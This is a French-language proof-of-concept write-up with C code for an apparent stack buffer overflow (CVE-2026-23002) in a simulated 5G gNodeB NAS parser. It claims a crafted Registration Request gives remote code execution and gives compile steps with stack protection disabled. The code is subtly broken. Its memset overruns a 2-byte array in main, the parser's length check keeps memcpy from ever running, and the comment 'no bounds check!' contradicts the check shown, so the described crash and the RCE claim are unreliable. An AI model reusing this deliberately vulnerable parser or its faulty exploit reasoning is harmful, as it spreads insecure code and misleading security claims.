
Analyseur NAS gNodeB 5G simulé avec un PoC de débordement de tampon de pile pour CVE-2026-23002 ; un message NAS forgé déclenche une exécution de code à distance.
// gnb_nas_sim.c - Simulated 5G gNodeB parsing NAS Registration Request
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define MAX_IE_SIZE 128
void process_registration_request(uint8_t *nas_msg, uint16_t length) {
uint8_t ie_buffer[MAX_IE_SIZE];
// Read IE length from message; if length > MAX_IE_SIZE, buffer overflow
uint16_t ie_length = (nas_msg[0] << 8) | nas_msg[1];
if (ie_length > 0 && ie_length <= length - 2) {
memcpy(ie_buffer, nas_msg + 2, ie_length); // no bounds check!
printf("IE copied, size %d\n", ie_length);
}
}
int main() {
// Craft a NAS message with an oversized IE length
uint8_t attack[] = {0x01, 0x00}; // IE length = 256, but buffer is only 128 bytes
// Append padding to make length consistent
memset(attack+2, 'A', 254);
process_registration_request(attack, sizeof(attack));
return 0;
}
L'analyseur de la strate de non-accès (NAS) 5G dans un gNodeB simulé ne valide pas le champ de longueur de l'élément d'information. Un attaquant envoyant une demande d'enregistrement spécialement conçue peut déborder un tampon de pile, conduisant à l'exécution de code à distance sur la station de base.
Compilez et exécutez l'analyseur vulnérable :
gcc -o gnb_nas_sim gnb_nas_sim.c -fno-stack-protector
./gnb_nas_sim
Le programme plante avec une erreur de segmentation (corruption de la pile).